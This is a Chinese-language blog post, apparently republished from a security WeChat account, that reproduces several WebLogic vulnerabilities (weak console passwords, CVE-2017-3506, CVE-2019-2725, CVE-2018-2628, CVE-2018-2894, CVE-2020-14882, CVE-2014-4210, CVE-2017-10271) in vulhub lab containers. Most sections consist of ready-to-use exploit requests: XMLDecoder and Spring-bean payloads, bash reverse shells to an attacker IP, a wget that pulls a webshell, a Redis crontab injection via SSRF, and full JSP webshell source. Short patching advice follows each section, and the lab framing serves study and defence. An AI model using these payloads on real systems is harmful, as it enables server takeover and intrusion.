中间件安全|WebLogic漏洞汇总

admin 2024年11月9日21:02:10评论6 views字数 19766阅读65分53秒阅读模式
0x0 声明

    由于传播、利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人承担,Cyb3rES3c及文章作者不承担任何责任。如有侵权烦请告知,我们将立即删除相关内容并致歉。请遵守《中华人民共和国个人信息保护法》、《中华人民共和国网络安全法》等相关法律法规。

0x1 前言

漏洞复现使用的是Linux+Docker容器,靶场是vulhub。

0x2 WebLogic概述

    WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,默认端口:7001,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

0x3 后台弱口令 GetShell

漏洞描述

    WebLogic 系统存在弱口令漏洞,通过弱口令进入后台。在后台的部署处存在上传文件的功能点,利用该功能点上传 war 包可 getshell。

影响范围

WebLogic 全版本(后台管理系统存在弱口令的前提下)

环境搭建

cd vulhub/weblogic/weak_passworddocker-compose up -d

中间件安全|WebLogic漏洞汇总

访问下面的URL

http://<IP/DomainName>:7001/console/login/LoginForm.jsp

出现下面的登录页面就说明环境搭建成功了

中间件安全|WebLogic漏洞汇总

漏洞复现

WebLogic 默认账号/密码:

weblogic/Oracle@123

注:单个账号的密码出入错误次数超过 5 次就会自动锁定。

中间件安全|WebLogic漏洞汇总

在后台管理的部署->安装服务中有一个可以上传文件功能点

中间件安全|WebLogic漏洞汇总

将 JSP 木马压缩为 zip 文件

中间件安全|WebLogic漏洞汇总

将压缩后的zip文件后缀名修改为.war

中间件安全|WebLogic漏洞汇总

上传WebShell

中间件安全|WebLogic漏洞汇总

中间件安全|WebLogic漏洞汇总

中间件安全|WebLogic漏洞汇总

中间件安全|WebLogic漏洞汇总

点击“下一步”

中间件安全|WebLogic漏洞汇总

点击“下一步”

中间件安全|WebLogic漏洞汇总

点击“完成”

中间件安全|WebLogic漏洞汇总

这个时候就会发现多了一个名称为 shell 的 Web 应用程序

中间件安全|WebLogic漏洞汇总

到这里 WebShell 就上传成功了

中间件安全|WebLogic漏洞汇总

修复建议

将弱密码修改为强密码
0x4 CVE-2017-3506

漏洞描述

    WebLogic 的 WLS Security 组件对外提供的 WebServer 服务,其中使用了 XMLDecoder 来解析用户输入的 XML 数据,在解析的过程中存在反序列化漏洞,可导致任意命令执行。

影响范围

WebLogic 10.3.6.0WebLogic 12.1.3.0WebLogic 12.2.1.1WebLogic 12.2.1.2

环境搭建

vulhub/weblogic/weak_passworddocker-compose up -d

漏洞复现

漏洞验证路径:

/wls-wsat/CoordinatorPortType/wls-wsat/RegistrationPortTypeRPC/wls-wsat/ParticipantPortType/wls-wsat/RegistrationRequesterPortType/wls-wsat/CoordinatorPortType11/wls-wsat/RegistrationPortTypeRPC11/wls-wsat/ParticipantPortType11/wls-wsat/RegistrationRequesterPortType11

响应结果若如下图所示(注:不同路径的响应结果有细微差别),则存在 wls_wsat 组件

中间件安全|WebLogic漏洞汇总

利用方式1:浏览器页面打印字符串

HTTP请求报文如下

POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 192.168.111.128:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 643<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  <soapenv:Header>     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">   <java><java version="1.4.0" class="java.beans.XMLDecoder">   <object class="java.io.PrintWriter">     <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/1.jsp</string>   <void method="println"><string>    <![CDATA[<% out.print("Successfully!"); %>  ]]>   </string>    </void>     <void method="close"/>     </object></java></java>    </work:WorkContext>     </soapenv:Header>     <soapenv:Body/></soapenv:Envelope>

发送HTTP请求报文

中间件安全|WebLogic漏洞汇总

第一个 string 标签中的内容是 WebShell 的路径,第二个 string 标签的内容是 XML 文档的内容

中间件安全|WebLogic漏洞汇总

访问上传的脚本,访问路径是 项目名+文件名

利用方式2:反弹Shell

先利用nc监听端口

中间件安全|WebLogic漏洞汇总

HTTP请求报文

POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 192.168.111.128:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 640<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.4.0" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i &gt;&amp; /dev/tcp/172.22.32.165/6666 0&gt;&amp;1</string></void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

发送HTTP报文

中间件安全|WebLogic漏洞汇总

成功接收到反弹Shell,如下图所示

中间件安全|WebLogic漏洞汇总

利用方式3 上传WebShell

HTTP请求报文

POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 192.168.111.128:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 1565<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  <soapenv:Header>     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">   <java><java version="1.4.0" class="java.beans.XMLDecoder">   <object class="java.io.PrintWriter">     <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string>   <void method="println"><string>  <![CDATA[<%!    class U extends ClassLoader {        U(ClassLoader c) {            super(c);        }        public Class g(byte[] b) {            return super.defineClass(b, 0, b.length);        }    }    public byte[] base64Decode(String str) throws Exception {        try {            Class clazz = Class.forName("sun.misc.BASE64Decoder");            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);        } catch (Exception e) {            Class clazz = Class.forName("java.util.Base64");            Object decoder = clazz.getMethod("getDecoder").invoke(null);            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);        }    }%><%    String cls = request.getParameter("cmd");    if (cls != null) {        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);    }%>  ]]>   </string>    </void>     <void method="close"/>     </object></java></java>    </work:WorkContext>     </soapenv:Header>     <soapenv:Body/></soapenv:Envelope>

发送HTTP请求报文

中间件安全|WebLogic漏洞汇总

访问WebShell

中间件安全|WebLogic漏洞汇总

蚁剑连接WebShell

中间件安全|WebLogic漏洞汇总

也可以将WebShell修改为HTTP响应式的WebShell

POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 192.168.111.128:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 812<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  <soapenv:Header>     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">   <java><java version="1.4.0" class="java.beans.XMLDecoder">   <object class="java.io.PrintWriter">     <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string>   <void method="println"><string>  <![CDATA[<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048];  while((a=in.read(b))!=-1){ out.println(new String(b)); } %>  ]]>   </string>    </void>     <void method="close"/>     </object></java></java>    </work:WorkContext>     </soapenv:Header>     <soapenv:Body/></soapenv:Envelope>

上传WebShell

中间件安全|WebLogic漏洞汇总

利用WebShell执行命令

中间件安全|WebLogic漏洞汇总

利用方式4 工具

也可以选择利用工具直接上传 WebShell

要先用工具检查是否存在漏洞之后才能上传文件

中间件安全|WebLogic漏洞汇总存在漏洞,上传WebShell

中间件安全|WebLogic漏洞汇总

蚁剑连接WebShell

中间件安全|WebLogic漏洞汇总

修复建议

更新到最近版本,打上补丁,对 wls-wsat 的资源进行访问控制。
0x5 CVE-2019-2725

漏洞描述

    wls9-async等组件为WebLogic Server提供异步通讯服务,默认应用于WebLogic部分版本。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者通过发送精心构造的恶意 HTTP 请求,即可获得目标服务器的权限,在未授权的情况下远程执行命令。这个漏洞依旧是根据 WebLogic 的 XMLdecoder 反序列化漏洞。

影响范围

Oracle WebLogic Server 10.*Oracle WebLogic Server 12.1.3影响组件:bea_wls9_async_response.warwsat.war

环境搭建

cd vulhub/weblogic/weak_passworddocker-compose up -d

漏洞复现

访问 /_async/AsyncResponseService路径,出现下面这个页面就说明存在漏洞

中间件安全|WebLogic漏洞汇总

利用方式1 反弹Shell

HTTP请求报文如下

POST /_async/AsyncResponseService HTTP/1.1Host: 192.168.111.128:7001Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closeContent-Length: 789Accept-Encoding: gzip, deflateSOAPAction:Accept: */*User-Agent: Apache-HttpClient/4.1.1 (java 1.5)Connection: keep-alivecontent-type: text/xml<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i &gt;&amp; /dev/tcp/192.168.235.9/7777 0&gt;&amp;1</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

开启端口监听

中间件安全|WebLogic漏洞汇总

发送反弹Shell的HTTP请求报文

中间件安全|WebLogic漏洞汇总

成功接收到反弹Shell

中间件安全|WebLogic漏洞汇总

利用方式2 上传WebShell

WebShell 可放置在两个路径下,分别是

路径一:bea_wls9_async_response/8tpkys/war访问路径:http://<IP/DomainName>:7001/_async/shell.jsp路径二:bea_wls_internal/9j4dqk/war访问路径:http://<IP/DomainName>:7001/bea_wls_internal/shell.jsp

需要在VPS上开启Web Server,这里直接在本地开启Web Server即可,并在WWW目录下放置一个JSP WebShell以供靶机下载

中间件安全|WebLogic漏洞汇总

<%!    class U extends ClassLoader {        U(ClassLoader c) {            super(c);        }        public Class g(byte[] b) {            return super.defineClass(b, 0, b.length);        }    }    public byte[] base64Decode(String str) throws Exception {        try {            Class clazz = Class.forName("sun.misc.BASE64Decoder");            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);        } catch (Exception e) {            Class clazz = Class.forName("java.util.Base64");            Object decoder = clazz.getMethod("getDecoder").invoke(null);            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);        }    }%><%    String cls = request.getParameter("cmd");    if (cls != null) {        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);    }%>

重新访问 /_async/AsyncResponseService 路径,利用BurpSuite抓包,构造Payload

中间件安全|WebLogic漏洞汇总

POST /_async/AsyncResponseService HTTP/1.1Host: 192.168.111.128:7001Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closeContent-Length: 838Accept-Encoding: gzip, deflateSOAPAction:Accept: */*User-Agent: Apache-HttpClient/4.1.1 (java 1.5)Connection: keep-alivecontent-type: text/xml<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>wget http://192.168.235.9/JspWebShell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/cmd.jsp</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

发送HTTP报文

中间件安全|WebLogic漏洞汇总

WebShell上传成功,访问路径如下

http://<IP/DomainName>:7001/bea_wls_internal/cmd.jsp

中间件安全|WebLogic漏洞汇总

修复建议

禁用 bea_wls9_async_response 组件。删除 wls9_async_response 的 war 包并重启。禁止访问/_async/* 路径。
0x6 CVE-2018-2628

漏洞描述

    WebLogic Server中的RMI 通信使⽤T3协议在WebLogic Server和其它Java程序(客户端或者其它 WebLogic Server实例)之间传输数据, 服务器实例会跟踪连接到应⽤程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端⼝的应⽤上默认开 启, 攻击者可以通过T3协议发送恶意的的反序列化数据, 进⾏反序列化, 实现对存在漏洞的WebLogic组件 的远程代码执⾏攻击。

影响范围

WebLogic 10.3.6.0WebLogic 12.1.3.0WebLogic 12.2.1.2WebLogic 12.2.1.3

环境搭建

cd vulhub/weblogic/CVE-2018-2628  docker-compose up -d

漏洞复现

访问环境后响应状态码是 404

中间件安全|WebLogic漏洞汇总

使用 nmap 扫描发现 T3 协议

中间件安全|WebLogic漏洞汇总

利用DNSLog检查漏洞是否存在

中间件安全|WebLogic漏洞汇总

根据DNSLog响应结果可以判断漏洞存在

中间件安全|WebLogic漏洞汇总

利用方式1 反弹Shell

利用 ysoserial 开启一个 JRMP Server

java -cp ysoserial.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]其中 [command] 是要执行的命令,[listen port]JRMP Server 监听的端口。

ysoserial 不允许出现 &符号,需要利用Base64编码构造反弹 shell

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNS45Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}'

Base64编码的内容如下图所示

中间件安全|WebLogic漏洞汇总

注:在 Windows 中需要使用 PowerShell 来执行,否则 base64 命令会报错。

EXP 脚本下载地址:https://www.exploit-db.com/exploits/44553

中间件安全|WebLogic漏洞汇总

python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]其中 [victim ip][victim port] 分别是靶机 IP 和端口,[JRMPListener ip][JRMPListener port] 分别是 JRMP 服务器的 IP 和端口,[JRMPClient] 是执行 JRMPClient 的类,可选的值有 JRMPClientJRMPClient2

执行EXP(需要Python2的环境,这里使用Python2.7)

F:EnvPython_2_7python.exe 44553.py 192.168.111.128 7001 F:SecToolsysoserialysoserial.jar 192.168.235.9 6666 JRMPClient

先启动 JRMP Server

中间件安全|WebLogic漏洞汇总

然后开启监听 nc,最后启动 JRMP Client

中间件安全|WebLogic漏洞汇总

成功接收到反弹Shell

中间件安全|WebLogic漏洞汇总

利用方式2 RCE

脚本地址

https://github.com/jas502n/CVE-2018-2628

需要Python2环境运行

中间件安全|WebLogic漏洞汇总

运行脚本后会生成一个HTTP访问链接,复制链接在浏览器中访问

中间件安全|WebLogic漏洞汇总

每执行一次命令都需要重新运行一次脚本,要对执行的命令进行 Base64 编码。

中间件安全|WebLogic漏洞汇总

中间件安全|WebLogic漏洞汇总

中间件安全|WebLogic漏洞汇总

利用方式3 工具

工具链接:

https://github.com/One-Fox-Security-Team/One-Fox-T00ls

修复建议

更新补丁。禁用 T3 协议或禁止 T3 端口对外开放,或限制可访问 T3 端口的 IP 来源。升级版本。
0x7 CVE-2018-2894

漏洞描述

    该漏洞是由弱口令引起的,攻击者通过弱口令进入 WebLogic Server 开启 Web Server Test Page 服务,在WebLogic Server Test Page 中存在一处文件上传漏洞。

影响范围

WebLogic 10.3.6.0WebLogic 12.1.3.0WebLogic 12.2.1.2WebLogic 12.2.1.3

环境搭建

cd vulhub/weblogic/CVE-2018-2894  docker-compose up -d

环境搭建好之后查看管理员密码

docker compose logs | grep password

中间件安全|WebLogic漏洞汇总

username: weblogicpassword: PSbXk8JO

漏洞复现

使用脚本检测是否存在 CVE-2018-2894 漏洞

import requestsdef poc(checkedSocket):    checkURL1 = "http://" + checkedSocket + "/ws_utc/config.do"    checkURL2 = "http://" + checkedSocket + "/ws_utc/begin.do"    headers = {        'Content-Type': 'text/html; charset=UTF-8',        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0'    }    httpRequest1 = requests.get(checkURL1, headers)    httpRequest2 = requests.get(checkURL2, headers)    if httpRequest1.status_code == 200 and httpRequest2.status_code == 200:        print("[*] 存在CVE-2018-2894或其他漏洞!")    else:        print("[*] 不存在此漏洞")if __name__ == '__main__':    checkedSocket = "192.168.111.128:7001"    poc(checkedSocket)

中间件安全|WebLogic漏洞汇总

访问登录页面进行登录

http://<IP/DomainName>:7001/console/login/LoginForm.jsp

用户名和口令就是搭建环境时拿到的用户名和密码

username: weblogicpassword: PSbXk8JO

中间件安全|WebLogic漏洞汇总

由于 Oracle 已经修复了 WebLogic Web Service Test Page 中一处文件上传漏洞,所以我们想要利用这个漏洞需要手动开启 Web 服务。

找到 base_domain

中间件安全|WebLogic漏洞汇总

点击“高级”

中间件安全|WebLogic漏洞汇总

勾选 “启用 Web 服务测试页”,然后保存

中间件安全|WebLogic漏洞汇总

启用 Web 服务测试页之后需要修改 ws_utc/config.do(未授权访问)下的当前工作目录

访问 http://<IP/DomainName>:7001/ws_utc/config.do

中间件安全|WebLogic漏洞汇总

将当前工作目录中的路径

/u01/oracle/user_projects/domains/base_domain/tmp/WSTestPageWorkDir

修改为

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css(访问这个目录无需权限)

修改之后进行提交

中间件安全|WebLogic漏洞汇总

中间件安全|WebLogic漏洞汇总

提交之后点击左侧的 “安全”

中间件安全|WebLogic漏洞汇总

点击“添加”,这里可以上传 WebShell

中间件安全|WebLogic漏洞汇总

上传 WebShell

中间件安全|WebLogic漏洞汇总

利用 BurpSuite 抓包获取时间戳

中间件安全|WebLogic漏洞汇总

拿到时间戳之后构造 WebShell 访问路径

http://<ip/domain>:7001/ws_utc/css/config/keystore/<服务器响应时间戳>_<文件名>

http://192.168.111.128:7001/ws_utc/css/config/keystore/1730170162648_shell.jsp

中间件安全|WebLogic漏洞汇总

蚁剑连接WebShell

中间件安全|WebLogic漏洞汇总

修复建议

升级 Oracle WebLogic Server 到已经修复该漏洞的版本。如果无法立即升级,可以通过配置 WebLogic Server 来限制对/ws_utc/begin.do和/ws_utc/config.do页面的访问。你可以要求用户进行身份验证才能访问这些页面,或者完全禁用这些页面。
0x8 CVE-2020-14882

漏洞描述

    CVE-2020-14882 允许远程⽤户绕过管理员控制台组件中的身份验证。CVE-2020-14883 允许经过身份验证的⽤户在管理员控制台组件上执⾏任何命令。使⽤这两个漏洞链,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执⾏任 意命令并完全控制主机。

影响范围

WebLogic 10.3.6.0.0WebLogic 12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0

环境搭建

cd vulhub/weblogic/CVE-2020-14882 docker-compose up -d

漏洞复现

未授权路径:http://<IP/DomainName>:7001/console/css/%252e%252e%252fconsole.portal注:1. 不要进行 URL 解码。2. 需要多次访问,第一次访问的响应状态码是 404

http://192.168.111.128:7001/console/css/%252e%252e%252fconsole.portal

中间件安全|WebLogic漏洞汇总

利用方式1

利用 com.tangosol.coherence.mvel2.sh.ShellSession 类(只能在 WbLogic 12.1.0 以上版本利用)

中间件安全|WebLogic漏洞汇总

http://192.168.111.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/success%27);%22)注意:不要进行 URL 解码。

访问之后响应页面如下

中间件安全|WebLogic漏洞汇总

可以在 docker 中查看命令是否执行成功

中间件安全|WebLogic漏洞汇总

success 存在,说明命令执行成功!

利用方式2

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext,更为通杀的一种方式。

利用思路:利用 RCE 漏洞将 Web Server 上的反弹 shell 文件下载到本地并执行反弹 Shell。

<?xml version="1.0" encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans"   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">        <constructor-arg>          <list>            <value>bash</value>            <value>-c</value>            <value><![CDATA[bash -i >& /dev/tcp/192.168.235.9/7777 0>&1]]></value>          </list>        </constructor-arg>    </bean></beans>

EXP

http://<靶机 IP>:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://<Web Server Socket>/CVE-2020-14882.xml%22)

http://192.168.111.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://192.168.235.9/CVE-2020-14882.xml%22)

开启端口监听

中间件安全|WebLogic漏洞汇总

访问URL

中间件安全|WebLogic漏洞汇总

成功接收到Shell

中间件安全|WebLogic漏洞汇总

修复建议

升级系统或下载安装补丁。WebLogic 不出网。在不影响正常业务的情况下,建议暂时对外关闭后台/console/console.portal的访问权限,以防止未经授权的访问。
0x9 CVE-2014-4210

漏洞描述

    WebLogic SSRF漏洞形成的原因主要是由于服务端验证请求时没有对用户请求做出严格的过滤以及限制,导致其可以获取服务器的一定量的数据,并可以实现篡改获取的资源并请求发送给服务器。在WebLogic中,这个漏洞主要出现在uddi组件(具体为uddi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp)。

影响范围

WebLogic 10.0.2WebLogic 10.3.6

环境搭建

cd vulhub/weblogic/ssrfdocker compose up -d

复现之前一定要先检测 redis 服务是否启动,如果多次尝试都无法启动 redis,则需要修改 /etc/default/grub

中间件安全|WebLogic漏洞汇总

vim /etc/default/grubGRUB_CMDLINE_LINUX_DEFAULT="vsyscall=emulate"

中间件安全|WebLogic漏洞汇总

然后执行下面的更新命令

update-grub

最后reboot重启系统,重启docker环境

cd vulhub/weblogic/ssrfdocker compose up -ddocker compose ps

中间件安全|WebLogic漏洞汇总

漏洞复现

SSRF 漏洞存在路径如下

http://<IP/DomainName>:7001/uddiexplorer/SearchPublicRegistries.jsp

浏览器访问靶机:

http://192.168.111.128:7001/uddiexplorer/SearchPublicRegistries.jsp

中间件安全|WebLogic漏洞汇总

构造 HTTP 请求包发起 SSRF 攻击

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1Host: 192.168.111.128:7001Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: close

其中 operator 是可控参数,下面是几种响应结果

中间件安全|WebLogic漏洞汇总

如果进行端口探测,如果端口是否对外开放的响应结果是不同的,具体可以看 An error has occurred字符串下面的内容,下面是端口对外开放的响应包。

中间件安全|WebLogic漏洞汇总

下面是端口不对外开放的响应包,响应的内容大概是连接不到 127.0.0.1:7000

中间件安全|WebLogic漏洞汇总

查看 docker 环境的 IP(其实这里获取 IP 的方式在实战中不可行),检测 docker 环境中开启了什么服务

中间件安全|WebLogic漏洞汇总

可以通过 Setup UDDI Explorer获取内网 IP 的

中间件安全|WebLogic漏洞汇总

也可以使用脚本进行内网探测

在对内网端口探测时发现可以连接 redis 服务

中间件安全|WebLogic漏洞汇总

WebLogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。这里利用redis反弹Shell。

set 1 "nnnn* * * * * root bash -i >& /dev/tcp/192.168.235.9/7777 0>&1nnnn"config set dir /etc/config set dbfilename crontabsaveaa

进行URL编码

%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.235.9%2F7777%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaa

完整的EXP

http://172.19.0.2:6379/text%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.235.9%2F7777%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaa

监听端口

中间件安全|WebLogic漏洞汇总

中间件安全|WebLogic漏洞汇总

等待一会儿即可接收到Shell

中间件安全|WebLogic漏洞汇总

修复建议

限制 uddiexplorer 应用只能内网访问。在不影响业务的情况下,将 SearchPublicRegistries.jsp 文件删除。
0xA CVE-2017-10271

漏洞描述

    CVE-2017-10271与CVE-2017-3506的漏洞原理是一样的,即WebLogic对恶意的XML请求防范的不够严密。

影响范围

WebLogic 10.3.6.0WebLogic 12.1.3.0WebLogic 12.2.1.0WebLogic 12.2.1.1WebLogic 12.2.1.2

环境搭建

cd vulhub/weblogic/CVE-2017-10271docker compose up -d

漏洞复现

访问下面的地址

http://192.168.111.128:7001/wls-wsat/CoordinatorPortType11访问下面的路径也可以/wls-wsat/CoordinatorPortType/wls-wsat/RegistrationPortTypeRPC/wls-wsat/ParticipantPortType/wls-wsat/RegistrationRequesterPortType/wls-wsat/CoordinatorPortType11/wls-wsat/RegistrationPortTypeRPC11/wls-wsat/ParticipantPortType11/wls-wsat/RegistrationRequesterPortType11

出现下面这个页面则说明存在漏洞

中间件安全|WebLogic漏洞汇总

利用漏洞反弹 shell,开启端口监听

中间件安全|WebLogic漏洞汇总

POST /wls-wsat/CoordinatorPortType11 HTTP/1.1Host: 192.168.111.128: 7001User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0Content-Type: text/xmlContent-Length: 824<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">      <soapenv:Header>        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">          <java>            <object class="java.lang.ProcessBuilder">              <array class="java.lang.String" length="3">                <void index="0">                  <string>/bin/bash</string>                </void><void index="1">                  <string>-c</string>                </void><void index="2"> <string>bash -i &gt;&amp; /dev/tcp/192.168.235.9/7777 0&gt;&amp;1</string>                </void>              </array>              <void method="start"/>            </object>          </java>        </work:WorkContext>      </soapenv:Header>      <soapenv:Body/>    </soapenv:Envelope>

成功接收到Shell

中间件安全|WebLogic漏洞汇总

修复建议

更新到最新版本,打上10271的补丁,对访问wls-wsat的资源进行访问控制 ,或者根据业务所有需求,考虑是否删除WLS-WebServices组件。包含此组件路径为:Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsatMiddleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.warMiddleware/wlserver_10.3/server/lib/wls-wsat.war

如果想要及时了解更多内容,请关注 Cyb3rES3c微信公众号!

原文始发于微信公众号(Cyb3rES3c):中间件安全|WebLogic漏洞汇总

